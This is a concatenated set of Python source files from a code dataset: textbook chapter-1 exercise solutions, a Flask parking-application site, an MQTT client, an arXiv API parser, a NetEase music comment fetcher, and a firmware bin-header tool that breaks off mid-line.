0\n i = 1\n while i < n:\n if i % 2 == 1:\n result += i * i\n i += 1\n return result\n\n'''\nR-1.7 Give a single command that computes the sum from Exercise R-1.6,\nrelying on Python's comprehension syntax and the built-in sum function.\n'''\ndef sumofoddsquares2(n):\n return sum(k * k for k in range(n) if k % 2 == 1)\n\n'''\nR-1.8 Python allows negative integers to be used as indices into a sequence, such as a string.\nIf string s has length n, and expression s[k] is used for index -n <= k < 0,\nwhat is the equivalent index j >= 0 such that s[j] references the same element?\n\nAnswer: j = n + k\n'''\n\n'''\nR-1.9 What parameters should be sent to the range constructor,\nto produce a range with values 50, 60, 70, 80?\n\nAnswer: range(50, 90, 10)\n'''\n\n'''\nR-1.10 What parameters should be sent to the range constructor,\nto produce a range with values 8, 6, 4, 2, 0, -2, -4, -6, -8?\n\nAnswer: range(8, -10, -2)\n'''\n\n'''\nR-1.11 Demonstrate how to use Python's list comprehension syntax\nto produce the list [1, 2, 4, 8, 16, 32, 64, 128, 256]\n\nAnswer: list(pow(2, k) for k in range(9))\n'''\n\n'''\nR-1.12 Python's random module includes a function choice(data) that returns a random element\nfrom a non-empty sequence. The random module includes a more basic function randrange, with\nparameterization similar to the built-in range function, that return a random choice from\nthe given range. Using only the randrange function, implement your own version of the choice function.\n'''\nimport random\ndef mychoice(data):\n return data[random.randrange(0, len(data))]\n\n'''\nC-1.13 Write a pseudo-code description of a function that reverses a list of n integers, so that\nthe numbers are listed in the opposite order than they were before, and compare this method to an\nequivalent Python function for doing the same thing.\n\nAnswer:\n\ncurrent index is 0\nmid is the ceiling of n / 2\n\nwhile current index is smaller than mid\n exchange list[current index] and list[n - 1 - current index]\n current index increases by 1\n'''\n\n'''\nC-1.14 Write a short Python function that takes a sequence of integer values and\ndetermines if there is a distinct pair of numbers in the sequence whose product is odd.\n'''\ndef is_product_odd_pair_in(data):\n return len([k for k in data if k % 2 == 1]) > 1\n\n'''\nC-1.15 Write a Python function that takes a sequence of numbers and determines\nif all the numbers are different from each other(that is, they are distinct).\n'''\ndef is_sequence_elements_distinct(data):\n i = 0\n while i < len(data):\n i += 1\n if data[0] in data[i:]:\n return False\n return True\n\n'''\nC-1.16 In our implementation of the scale function (page 25), the body of the loop executes the command\ndata[j] *= factor. We have discussed that numeric types are immutable, and that use of the *= operator\nin this context causes the creation of a new instance (not the mutation of an existing instance).\nHow is it still possible, then, that our implementation of scale changes the actual parameter sent by\nthe caller?\n\nAnswer: It's only possible if the sequence, that is data in this case, is mutable.\n'''\n\n'''\nC-1.17 Had we implemented the scale function (page 25) as follows, does it work properly?\n\ndef scale(data, factor):\n for val in data:\n val *= factor\n\nExplain why or why not.\n\nAnswer: No, it doesn't. Because val is only an alias to the current loop value,\n and changing it won't affact the actual element.\n'''\n\n'''\nC-1.18 Demonstrate how to use Python's list comprehension syntax\nto product the list [0, 2, 6, 12, 20, 30, 42, 56, 72, 90]\n\nAnswer: list(k * (k + 1) for k in range(10))\n'''\n\n'''\nC-1.19 Demonstrate how to use Python's list comprehension syntax to produce the list\n['a', 'b', 'c', ..., 'z'], but without having to type all 26 such characters literally.\n\nAnswer: list(chr(k + ord('a')) for k in range(26))\n'''\n\n'''\nC-1.20 Python's random module includes a function shuffle(data) that accepts a list of elements\nand randomly reorders the elements so that each possible order occurs with equal probability.\nThe random module includes a more basic function randint(a, b) that returns a uniformly random\ninteger from a to b (including both endpoints). Using only the randint function, implement your\nown version fo the shuffle function.\n'''\ndef my_shuffle(data):\n import random\n index = 0\n while index < len(data):\n target = data[random.randint(index, len(data) - 1)]\n data.remove(target)\n data.insert(0, target)\n index += 1\n return data\n\n'''\nC-1.21 Write a Python program that repeatedly reads lines from standard input until an EOFError\nis raised, and then outputs those lines in reverse order (a user can indicate end of input by\ntyping Ctrl-D).\n'''\ndef main121():\n lines = []\n try:\n while True:\n lines.insert(0, input())\n except EOFError:\n pass\n for line in lines:\n print(line)\n\n'''\nC-1.22 Write a short Python program that takes two arrays a and b of length n storing int values,\nand returns the dot product of a and b. That is, it returns an array c of length n such that\nc[i] = a[i] * b[i], for i = 0, ..., n - 1.\n'''\ndef array_dot_product(a, b):\n return [a[i] * b[i] for i in range(len(a))]\n\n'''\nC-1.23 Give an example of a Python code fragment that attempts to write an element to a list based\non an index that may be out of bounds. If that index is out of bounds, the program should catch the\nexception that results, and print the following error message:\n\"Don't try buffer overflow attacks in Python!\"\n'''\ndef try_write_out_of_bound():\n some_list = []\n try:\n some_list[1] = 3\n except IndexError:\n print(\"Don't try buffer overflow attacks in Python!\")\n\n'''\nC-1.24 Write a short Python function that counts the number of vowels in a give character string.\n'''\ndef count_vowels(s):\n return len([c for c in list(s) if c in ['a', 'e', 'i', 'o', 'u']])\n\n'''\nC-1.25 Write a short Python function that takes a string s, representing a sentence, and\nreturns a acopy of the string with all punctuation removed. For example, if given the string\n\"Let's try, Mike.\", this function would return \"Let's try Mike\"\n'''\ndef remove_punc(s):\n return ''.join([c for c in list(s) if 'A' <= c <= 'z' or c == ' '])\n\n'''\nC-1.26 Write a short program that takes as input three integers, a, b, and c, from the console and\ndetermines if they can be used in a correct arithmetic formula (in the given order), like\n\"a + b = c\", \"a = b - c\", or \"a * b = c\".\n'''\ndef main2():\n a = int(input())\n b = int(input())\n c = int(input())\n\n import operator\n arithmetics = [\n operator.add,\n operator.sub,\n operator.mul,\n operator.floordiv\n ]\n\n try:\n return c in [op(a, b) for op in arithmetics]\n except ZeroDivisionError:\n return False\n\n'''\nC-1.27 In section 1.8, we provided three different implementations of a generator that\ncomputes factors of a given integer. The third of those implementations, from page 41,\nwas the most efficient, but we notes that it did not yield the factors in increasing order.\nModify the generator so that it reports factors in increasing order, while maintaining\nits general performance advantages.\n'''\ndef factors(n):\n k = 1\n bigger_half = []\n while k * k <= n:\n if n % k == 0:\n yield k\n bigger_half.insert(0, n // k)\n k += 1\n for k in bigger_half:\n yield k\n\n'''\nC-1.28 The p-norm of a vector v = (v1, v2, ..., vn) in n-dimensional space is defined as\n ||v|| = p√(v1 ** p + v2 ** p + ... + vn ** p)\nFor the special case of p = 2, this results in the traditional Euclidean norm, which represents\nthe length of the vector. For example, the Euclidean norm of a two-dimensional vector with\ncoordinates (4, 3) has Euclidean norm of √(4 ** 2 + 3 ** 2) = √(16 + 9) = √25 = 5.\nGive an implementation of a function named norm such that norm(v, p) returns the p-norm value of v\nand norm(v) returns the Euclidean norm of v. You may assume that v is a list of numbers.\n'''\ndef norm(v, p = 2):\n import math\n return math.pow(sum(math.pow(k, p) for k in v), 1 / p)\n\n'''\nP-1.29 Write a Python program that outputs all possible string formed by useing the characters\n'c', 'a', 't', 'd', 'o', and 'g' exactly once\n'''\ndef main129():\n results = ['c']\n for k in ['a', 't', 'd', 'o', 'g']:\n temp = []\n for result in results:\n temp += [(result[:i] + k + result[i:]) for i in range(len(result) + 1)]\n results = temp\n return results\n\n'''\nP-1.30 Write a Python program that can take a positive integer greater than 2 as input and\nwrite out the number of times one must repeatedly divide this number by 2\nbefore getting a value less than 2.\n'''\nimport sys\nimport argparse\nimport math\n\ndef main130():\n parser = argparse.ArgumentParser()\n parser.add_argument('input', action = GreaterThanTwoAction, metavar = 'N', type = int, nargs = 1)\n\n args = parser.parse_args()\n print(math.ceil(math.log2(args.input[0])))\n\nclass GreaterThanTwoAction(argparse.Action):\n def __call__(self, parser, namespace, values, option_string = None):\n if values[0] <= 2:\n raise ValueError(\"N must be bigger than 2.\")\n setattr(namespace, self.dest, values)\n\n'''\nP-1.31 Write a Python program that can \"make change.\" Your program should take two numbers as input\n, one that is a monetary amount charged and the other that is a monetary amount given. It should\nthen return the number of each kind of bill and coin to give back as change for the difference\nbetween the amount given and the amount charged. The values assigned to the bills and coins can be\nbased on the monetary system of any current or former government. Try to design your program\nso that it returns as few bills and coins as possible.\n\nThe monetary system of PRC:\nBanknotes: 100, 50, 20, 10, 5, 2, 1\nCoins: 0.5, 0.1\n'''\ndef main131():\n parser = argparse.ArgumentParser()\n parser.add_argument('charged', action = PositiveAction, metavar = 'charged', type = float, nargs = 1)\n parser.add_argument('given', action = PositiveAction, metavar = 'given', type = float, nargs = 1)\n\n args = parser.parse_args()\n\n charged = args.charged[0]\n given = args.given[0]\n diff = given - charged\n\n if diff < 0:\n return print('Insufficient fund...')\n \n print('Change is: ' + str(diff))\n bills = [100, 50, 20, 10, 5, 2, 1, 0.5, 0.1]\n change = [0] * len(bills)\n\n for i in range(len(bills)):\n while diff >= bills[i] or math.isclose(diff, bills[i], rel_tol=1e-1):\n change[i] += 1\n diff -= bills[i]\n \n print('Banknotes: 100: {}, 50: {}, 20: {}, 10: {}, 5: {}, 2: {}, 1: {} Coins: 0.5: {}, 0.1: {}'.format(*change))\n\nclass PositiveAction(argparse.Action):\n def __call__(self, parser, namespace, values, option_string = None):\n if values[0] <= 0:\n raise ValueError(\"The input must be positive.\")\n setattr(namespace, self.dest, values)\n\n'''\nP-1.32 Write a Python program that can simulate a simple calculator, using the console\nas the exclusive input and output device. That is, each input to the calculator, be it a number,\nlike 12.34 or 1034, or an operator, like + or =, can be done on a seperate line. After\neach such input, you should output to the Python console what would be displayed on your calculator\n'''\n'''\nP-1.33 Write a Python program that simulates a handheld calculator. Your program should\nprocess input from the Python console representing buttons that are \"pushed,\" and then output\nthe contents of the screen after each operation is performed. Minimally, your calculator should\nbe able to process the basic arithmetic operations and a reset/clear operation.\n'''\nimport operator\n\ndef main_calculator():\n user_input = ''\n\n op_dict = {'+': operator.add, '-': operator.sub, '*': operator.mul, '/': operator.truediv, '%': operator.mod}\n current = None\n op = None\n operand = None\n try:\n while True:\n user_input = input()\n if user_input.replace('.', '', 1).isdigit():\n if op == None:\n current = int(user_input) if is_int(user_input) else float(user_input)\n else:\n operand = int(user_input) if is_int(user_input) else float(user_input)\n current = op_dict[op](current, operand)\n op = None\n operand = None\n print('=' + str(current))\n elif user_input in '+-*/%' and operand == None:\n op = user_input\n if current == None:\n current = 0\n elif user_input in 'cC':\n current = None\n op = None\n operand = None\n except EOFError:\n pass\n\ndef is_int(k):\n try: \n int(k)\n return True\n except ValueError:\n return False\n\n'''\nP-1.34 A common punishment for school children is to write out a sentence multiple times. Write\na Python stand-alone program that will write out the following sentence one hundred times:\n\"I will never spam my friends again.\" Your program should number each of the sentences and\nit should make eight different random-looking typos.\n'''\ndef main134():\n homework = \"I will never spam my friends again.\"\n typo = [\n lambda s: s.replace('will', 'vill'),\n lambda s: s.replace('never', 'navr'),\n lambda s: s.replace('spam', 'span'),\n lambda s: s.replace('friends', 'friend'),\n lambda s: s.replace('again', 'agin'),\n lambda s: s.replace('friends', 'frinds'),\n lambda s: s.replace('will', 'wil'),\n lambda s: s.replace('spam my', 'spammy')\n ]\n random_lines = set()\n while len(random_lines) < 8:\n random_lines.add(random.randint(0, 99))\n\n for i in range(100):\n if i in random_lines:\n random_typo = typo[random.randint(0, len(typo) - 1)]\n print('{}: {}'.format(i + 1, random_typo(homework)))\n typo.remove(random_typo)\n else:\n print('{}: {}'.format(i + 1, homework))\n\n'''\nP-1.35 The birthday praradox says that the probability that two peiple in a room will have the same\nbirthday is more than half, provided by n, the number of people in the room, is more than 23. This\nproperty is not really a paradox, but many people find it surprising. Design a Python program that\ncan test this paradox by a series of experiments on randomly generated birthdays, which test this\nparadox for n = 5, 10, 15, 20, ..., 100.\n'''\ndef main135():\n n = range(5, 105, 5)\n \n # the possibility that each has a unique birthday\n for i in n:\n p_unique = math.prod(day / 365 for day in range(365, 365 - i, -1))\n print('The possibility of n = {} is {}'.format(i, 1 - p_unique))\n\n'''\nP-1.36 Write a Python program that inputs a list of words, separated by whitespace, and outputs\nhow many times each word appears in the list. You need not worry about efficiency at this point,\nhowever, as this topic is something that will be addressed later in this book.\n'''\ndef main136():\n src = 'path of some file'\n fp = open(src, \"r\")\n\n word_count = {}\n for line in fp.readlines():\n words = line.split(' ')\n for word in words:\n if word in word_count:\n word_count[word] += 1\n else:\n word_count[word] = 1\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/chapter-1/chapter1.py","file_name":"chapter1.py","file_ext":"py","file_size_in_byte":17176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"197694216","text":"marker_distance = 0\n\nmarker_count = 0\n\nprint(\"Please enter a sequence\")\n\nsequence = str(input())\n\nprint(\"Please enter the character for the marker\")\n\nmarker = str(input())\n\nfor position in range(0, len(sequence), 1):\n letter = sequence[position]\n if (letter == marker):\n marker_count = marker_count + 1\n elif (marker_count == 1):\n marker_distance = marker_distance + 1\n\n\nprint(\"The distance between the marker is \" + str(marker_distance))\n\n\n","sub_path":"1-basics/4-repetition/3-nested-loop/2-nestings/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"242793515","text":"# Copyright (c) 2013, frappe and contributors\n# For license information, please see license.txt\n\nfrom __future__ import unicode_literals\nimport frappe\nfrom frappe import msgprint, _\n\ndef execute(filters=None):\n\tconditions, filters = get_conditions(filters)\n\tcolumns = get_column()\n\tdata = get_head(conditions,filters)\n\treturn columns,data\n\ndef get_column():\n\treturn [_(\"Project\") + \":Link/Project:250\",\n\t\t_(\"Budget Head\") + \":Link/Budget Head:250\",\n\t\t_(\"Head\") + \":Data:150\",\n\t\t_(\"Budget\") + \":Currency:130\",\n\t\t_(\"Committed\") + \":Currency:130\",\n\t\t_(\"Incurred\") + \":Currency:120\",\n\t\t_(\"Yet to be committed\") + \":Currency:130\",\n\t\t_(\"Yet to be Incurred\") + \":Currency:150\"]\n\ndef get_head(conditions,filters):\n\tbudget_head = frappe.db.sql(\"\"\" select project,name,head_name,budget,committed,incurred,(budget-committed),\n\t\t\t(committed-incurred) from `tabBudget Head`\n\t\t\twhere docstatus is not null %s;\"\"\"%conditions, filters, as_list=1)\n\n\treturn budget_head\n\ndef get_conditions(filters):\n conditions = \"\"\n if filters.get(\"project\"): conditions += \"and project = %(project)s\"\n if filters.get(\"head\"): conditions += \"and head_name = %(head)s\"\n\n return conditions, filters\n","sub_path":"carapace/carapace/report/project_wise_budget/project_wise_budget.py","file_name":"project_wise_budget.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"396424374","text":"from flask import Flask, request,session,g\nfrom pymysql.cursors import DictCursor\nfrom flaskext.mysql import MySQL\n\ndef create_app(test_config=None):\n app = Flask(__name__)\n mysql = MySQL(cursorclass=DictCursor)\n with app.app_context():\n mysql.init_app(app)\n @app.before_request\n def before_request():\n g.db = mysql.connect()\n \n @app.after_request\n def after_request(response):\n if g and g.db:\n g.db.commit()\n return response\n\n @app.errorhandler(Exception)\n def handle_generic_error(error):\n if g and g.db:\n g.db.rollback()\n import traceback\n traceback.print_exc()\n app.logger.error(error)\n return app","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"272642803","text":"\nimport sys\nimport time\n\nimport json\nimport os\n\nimport paho.mqtt.client as mqtt\n\nfrom .environments import get_locals\nfrom .helpers import write_values\n\nsnap_userdata = os.environ['SNAP_USER_DATA']\npath = snap_userdata + '/'\n\n\ndef on_log(client, userdata, level, buf):\n print(\"log: \", buf)\n\n\ndef on_connect(client, userdata, flags, rc):\n if rc == 0:\n client.connected_flag = True\n print(\"connected OK Returned code=\", rc)\n client.subscribe(\"DOSE/OLI_70/PV/setPowerLimit\", 0)\n else:\n print(\"Bad connection Returned code=\", rc)\n\n\ndef on_disconnect(client, userdata, flags, rc=0):\n print(\"Disconnected Returned code=\", rc)\n client.connected_flag = False\n\n\ndef on_message(client, userdata, msg):\n payload = json.loads(msg.payload)\n obj = {'setOutputLimit': {payload['timestamp']: payload['SetPowerLimit']}}\n write_values('data.json', obj)\n # print(msg)\n #print(\"Message received-> \" + msg.topic + \" \" + str(msg.payload))\n\n\ndef config_mqtt():\n vars = get_locals()\n oli_box_id = vars['oli_box_id']\n client_name = f'OLI_{oli_box_id}_PUB'\n pwd = vars['mqtt_password']\n usr = vars['mqtt_username']\n mqtt_broker_ip = vars['mqtt_broker_ip']\n mqtt_broker_port = vars['mqtt_broker_port']\n\n print('Configuring MQTT Client and connecting to Broker...')\n\n mqtt.Client.connected_flag = False\n\n client = mqtt.Client(client_name)\n client.username_pw_set(usr, pwd)\n cert = os.path.join(path, 'ca-certificates.crt')\n client.tls_set(cert)\n\n client.on_connect = on_connect\n client.on_message = on_message\n client.on_disconnect = on_disconnect\n client.on_log = on_log\n\n try:\n client.connect(mqtt_broker_ip, int(mqtt_broker_port), keepalive=60)\n client.loop_forever()\n while not client.connected_flag:\n print(\"In wait loop\")\n time.sleep(1)\n except Exception as e:\n print(f\"Connection Failed: {e}\")\n sys.exit(\"quitting\")\n\n print('...done.')\n","sub_path":"olibox_control/control_pkg/oli_mqtt.py","file_name":"oli_mqtt.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"562229400","text":"from urllib.request import urlopen\nimport requests\nimport os\nfrom xml.etree import ElementTree as ET\n\n\nclass Arxiv_Helper:\n def __init__(self):\n self.CONST_QUERY_RESULTS = \"500\"\n\n def url_encode(self, string):\n encode_list = [(\" \", \"%20\"), (\":\", \"%3A\"), (\"/\", \"%2\" + \"F\")]\n for el1, el2 in encode_list:\n string = string.replace(el1, el2)\n return string\n\n def params_to_url(self, params):\n base_url = \"http://export.arxiv.org/api/query?search_query=\"\n\n for i, (el1, el2) in enumerate(params):\n base_url += el1 + \"%3A\" + el2\n if i != len(params) - 1:\n base_url += \"%20AND%20\"\n\n base_url += \"&max_results=\" + self.CONST_QUERY_RESULTS\n return base_url\n\n def all_param(self, query):\n query = self.url_encode(query)\n return \"http://export.arxiv.org/api/query?search_query=all:\" + query\n\n def api_to_file(self, url, file_name):\n r = requests.get(url)\n with open(file_name, 'w') as f_in:\n f_in.write(r.content.decode('utf-8'))\n\n\nclass Arxiv_Parser:\n\n def __init__(self, filename):\n self.list_of_dicts = list()\n self.filename = filename\n\n def parse_xml(self):\n single_result_dict = {}\n journal = \"\"\n doi = \"\"\n ID = ''\n with open(self.filename, 'r') as file:\n root = ET.fromstring(file.read())\n\n full_name = os.path.abspath(os.path.join('', self.filename))\n\n tree = ET.parse(full_name)\n root = tree.getroot()\n\n entries = root.findall('entry')\n\n for entry in entries:\n if entry.find('journal_ref') is not None:\n journal = entry.find('journal_ref').text\n else:\n journal = None\n if entry.find('doi') is not None:\n doi = entry.find('doi').text\n else:\n doi = None\n list_of_authors = list()\n\n authors = entry.findall('author')\n for el in authors:\n list_of_authors.append(el.find('name').text)\n number_of_authors = len(authors)\n\n if entry.find('id').text is not None:\n ID = entry.find('id').text\n ID = ID[:-2]\n\n single_result_dict = {\n \"Authors\": list_of_authors,\n \"Date_Published\": entry.find('published').text,\n \"Last_Update\": entry.find('updated').text,\n \"Title\": entry.find('title').text,\n \"ID\": ID.replace(\"http://arxiv.org/abs/\",''),\n \"DOI\": doi,\n \"Journal\": journal,\n \"Num_Of_Authors\": number_of_authors}\n\n self.list_of_dicts.append(single_result_dict)\n\n def show(self):\n for dic in self.list_of_dicts:\n print(\"\\n\")\n for el in dic:\n print(el + \": \" + str(dic[el]))\n\n def standarize_xml_file(self):\n with open(self.filename, 'r') as file_r:\n data = file_r.readlines()\n with open(self.filename, 'w') as file_w:\n for d in data:\n\n d = d.replace(' xmlns=\"http://www.w3.org/2005/Atom\"', '')\n d = d.replace(\n ' xmlns:opensearch=\"http://a9.com/-/spec/opensearch/1.1/\"', '')\n d = d.replace('opensearch:', '')\n d = d.replace('arxiv:', '')\n d = d.replace(\n ' xmlns:arxiv=\"http://arxiv.org/schemas/atom\"', '')\n\n file_w.write(d)\n\n def filter_range(self, range):\n temp_list = list()\n year = 0\n status = ''\n try:\n if range[0] == '-':\n status = 'till'\n year = int(range[1:])\n elif range[0] == '+':\n status = 'after'\n year = int(range[1:])\n else:\n status = 'between'\n year1 = int(range[0:4])\n year2 = int(range[5:9])\n\n for dic in self.list_of_dicts:\n full_date = dic['Date_Published']\n date = int(full_date[:4])\n if status == 'till':\n if date <= year:\n temp_list.append(dic)\n elif status == 'after':\n if date >= year:\n temp_list.append(dic)\n else:\n if date >= year1 and date <= year2:\n temp_list.append(dic)\n self.list_of_dicts = temp_list\n except BaseException:\n print(\"Error while parsing range expression try ./pyper.py ARXIV -h for more information on available range formats\")\n return -1\n\n def sort_by(self, value):\n if value == 'authors':\n self.list_of_dicts = sorted(\n self.list_of_dicts,\n key=lambda x: x['Num_Of_Authors'],\n reverse=True)\n elif value == 'published':\n self.list_of_dicts = sorted(\n self.list_of_dicts,\n key=lambda x: x['Date_Published'])\n elif value == 'updated':\n self.list_of_dicts = sorted(\n self.list_of_dicts,\n key=lambda x: x['Last_Update'],\n reverse=True)\n\n def write(self, filename):\n items = []\n with open(filename, 'w') as f:\n for dic in self.list_of_dicts:\n items = dic.items()\n for el in items:\n if el[0] == 'Authors':\n f.write(str(el[0] + \": \\n \"))\n for x in el[1]:\n f.write(str(x+\", \"))\n f.write('\\n\\n')\n else:\n f.write(str(el[0]) + \": \\n\" + str(el[1]) + '\\n\\n')\n f.write('\\n')\n","sub_path":"project/ARXIV/arxiv_classes.py","file_name":"arxiv_classes.py","file_ext":"py","file_size_in_byte":5876,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"288489257","text":"# -*- coding: utf-8 -*-\nimport datetime\nimport json\nimport os\nimport time\n\n\nimport wtforms as wtf\nfrom flask import Flask, jsonify, redirect, render_template, request, url_for\n#from flask_nav import *\n#from flask_nav.elements import *\nfrom flask_bootstrap import Bootstrap\n#from flask import url_for, render_template\n#from flask_bootstrap import Bootstrap\n#from flask_nav.elements import *\nfrom flask_nav import Nav\nfrom flask_nav.elements import Link, Navbar, Separator, Subgroup, Text, View\nfrom flask_wtf import FlaskForm\nfrom flask_wtf.csrf import CSRFProtect\nfrom forms.forms import ApplicationForm\nfrom wtforms import *\nfrom wtforms.validators import DataRequired\nfrom lot.lot import Lot\nfrom application.application import Application\nimport sqlite3\nfrom flask import g\nfrom application.application import process_form_results\n\n#DATABASE = 'sqlite/parking_app.db'\ndef create_app(test_config=None):\n # create and configure the app\n app = Flask(__name__, instance_relative_config=True)\n csrf = CSRFProtect()\n app.config.update(dict(SECRET_KEY = os.urandom(24) or 'riverrun'))\n\n csrf.init_app(app)\n\n '''\n app.config.from_mapping(\n SECRET_KEY='dev',\n DATABASE=os.path.join(app.instance_path, 'flaskr.sqlite'),\n )\n '''\n Bootstrap(app)\n nav = Nav()\n\n '''\n def get_db():\n db = getattr(g, '_database', None)\n if db is None:\n db = g._database = sqlite3.connect(DATABASE)\n return db\n\n @app.teardown_appcontext\n def close_connection(exception):\n db = getattr(g, '_database', None)\n if db is not None:\n db.close()\n '''\n\n # registers the \"top\" menubar\n\n nav.register_element('top', Navbar(\n 'Parking',\n View('Home', 'home'),\n View('Application', 'application'),\n Subgroup('Admin',\n View('All Applications', 'view_applications'),\n View('Settings and Configuration', 'settings'),\n #Separator(),\n #Label('Discontinued Products'),\n #View('Wg10X', 'products', product='wg10x'),\n\n ),\n\n ))\n\n\n\n\n\n '''\n if test_config is None:\n # load the instance config, if it exists, when not testing\n app.config.from_pyfile('config.py', silent=True)\n else:\n # load the test config if passed in\n app.config.from_mapping(test_config)\n\n # ensure the instance folder exists\n try:\n os.makedirs(app.instance_path)\n except OSError:\n pass\n '''\n\n @app.route('/')\n def home():\n #cur = get_db().cursor()\n lot = Lot()\n return render_template('index.html', object=lot)\n\n @app.route('/application', methods=['GET', 'POST'])\n def application():\n complete = {}\n if request.method == 'POST':\n result = request.form\n\n for key, value in result.items():\n if key != 'csrf_token':\n if key != 'submit':\n complete[key] = value\n now = unicode(datetime.datetime.now())\n complete['timestamp'] = now\n\n #print application\n\n\n\n app_obj = Application(complete['full_name'])\n process_form_results(complete, app_obj)\n app_obj.id = complete['full_name']\n app_obj.grade = complete['grade']\n app_obj.multiply(app_obj.qualifier)\n app_obj.expo_bloom(app_obj.qualifier, app_obj.raw_score)\n #print application\n\n application = json.dumps(app_obj.__dict__)\n with open(\"data/output.json\", \"a\") as record:\n record.write('\\n\\n' + application)\n\n return render_template('ack.html', result=complete, object=app_obj)\n else:\n form = ApplicationForm()\n return render_template('application_form.html', title=\"Application\", form=form, wtf=wtf)\n\n @app.route('/receipt')\n def acknowledge():\n return render_template('ack.html')\n\n nav.init_app(app)\n\n @app.route('/admin/applications')\n def view_applications():\n with open('data/output.json') as data:\n records = data.read()\n records = records.split('\\n\\n')\n for record in records:\n record = record.strip()\n record = json.loads(record)\n \n return render_template('applications.html', records=records)\n @app.route('/admin/settings')\n def settings():\n return render_template('settings.html')\n return app\n\n\n\nif __name__ == \"__main__\":\n\n create_app()\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"414644217","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport requests\nimport json\n\n#还是需要输入歌曲id\n\ndef get_songs(song_id):\n url = 'http://music.163.com/api/v1/resource/comments/R_SO_4_%s' %(song_id)\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',\n 'Host': 'music.163.com',\n 'Referer': 'http://music.163.com/search/'}\n response = requests.get(url=url, headers=headers)\n #print(response.text)\n\n # dict\n data = json.loads(response.text)\n # print(type(data))\n\n # print(data)\n for i in range(0, 15):\n print(data['hotComments'][i]['content'])\n print('####################')\n\n#张学友-饿狼传说\n#get_songs(190270)\n\n#刘若英-后来\n#get_songs(254574)","sub_path":"网易云音乐/get_music.py","file_name":"get_music.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"358568388","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Jan 30 11:12:14 2019\r\n\r\n@author: fa.miao\r\n\"\"\"\r\n\r\nimport crcmod.predefined\r\n# from bitstring import BitStream, BitArray\r\nimport os\r\nimport mmap\r\n# from struct import unpack\r\n\r\n# CRC模块网址:\r\n# http://crcmod.sourceforge.net/crcmod.predefined.html\r\n\r\n# 这次python脚本犯得两个错误:\r\n# 1.切片运算时,不计入end\r\n# 2.切片运算的符号市’:‘\r\n\r\n# 获取windows桌面\r\ndeskdir = os.path.join(os.path.expanduser('~'), 'Desktop')\r\n\r\nInverterModel = ['105_grid_connect',\r\n '105or205_Energy_storage', 'MT_Costdown', '205_grid_connect']\r\n\r\nInverterModelAndAddress = {\r\n '105_grid_connect': 0x00012000,\r\n '105or205_Energy_storage': 0x00012000,\r\n 'MT_Costdown': 0x00013000,\r\n '205_grid_connect': 0x0000a000\r\n}\r\n\r\nvalue = [0x55AA0100, 0x55AA0200, 0x55AA0100, 0x55AA0300]\r\n\r\n\r\ndef read_into_buffer(filename):\r\n buf = bytearray(os.path.getsize(filename))\r\n with open(filename, 'rb') as f:\r\n f.readinto(buf)\r\n return buf\r\n\r\n\r\ndef configDataHead(length, crc_value, Modelname):\r\n # 增加数据头\r\n bufHead = bytearray(32)\r\n for i in range(32):\r\n bufHead[i] = 0xff\r\n bufHead[0] = ord('A')\r\n bufHead[1] = ord('R')\r\n bufHead[2] = ord('M')\r\n if Modelname == InverterModel[1]:\r\n bufHead[3] = ord('H')\r\n # 字节倒过来呈现\r\n bufHead[16] = length & (0xFF)\r\n bufHead[17] = length >> 8 & (0xFF)\r\n bufHead[18] = length >> 16 & (0xFF)\r\n bufHead[19] = length >> 24 & (0xFF)\r\n\r\n bufHead[20] = crc_value & (0xFF)\r\n bufHead[21] = crc_value >> 8 & (0xFF)\r\n\r\n return bufHead\r\n\r\n# 此处需要考虑不符合以上四种情况的时候throw一个异常\r\n\r\n\r\ndef ComfirmTheModelWithBuf(buf):\r\n print(len(buf))\r\n for i in range(len(InverterModel)):\r\n address = InverterModelAndAddress[InverterModel[i]]\r\n# print(buf[address])\r\n# print(buf[address + 1])\r\n# print(buf[address + 2])\r\n# print(buf[address + 3])\r\n#\r\n# print(buf[address : address + 4])\r\n\r\n # if(BitArray(m[address, address+3]) == BitArray(value[i])):\r\n# tmp = unpack('i', buf[address : address + 4])\r\n# print(tmp)\r\n tmpvalue = buf[address] << 24 | buf[address +\r\n 1] << 16 | buf[address + 2] << 8 | buf[address + 3]\r\n # print(tmpvalue)\r\n if(tmpvalue == value[i]):\r\n return InverterModel[i]\r\n # 跳出循环时,抛出异常\r\n raise RuntimeError('文件不符合规定')\r\n\r\n\r\n# 对于情形1,2,3,转换规则为去掉前64K文件部分,然后增加32个字节文件头,对于情形4,转换规则为去掉前32K文件部分,增加32字节文件头。\r\n# 32字节文件头规则如下:\r\n# 前3个字节为ascii格式的“ARM”,第17,18,19,20字节为Bin文件除头之外的长度,21,22为Bin文件CRC大小(具体可参考BinCreate软件)\r\ndef ClipTheHeadWithBuf(buf, Modelname):\r\n\r\n crc16_func = crcmod.predefined.mkCrcFun('modbus')\r\n\r\n print(len(buf))\r\n if Modelname in InverterModel[0:3]:\r\n\r\n del buf[0: 64 * 1024 - 32]\r\n print(len(buf))\r\n # CRC 校验位\r\n crc_value = crc16_func(buf[32:])\r\n print(crc_value)\r\n bufHead = configDataHead(len(buf) - 32, crc_value, 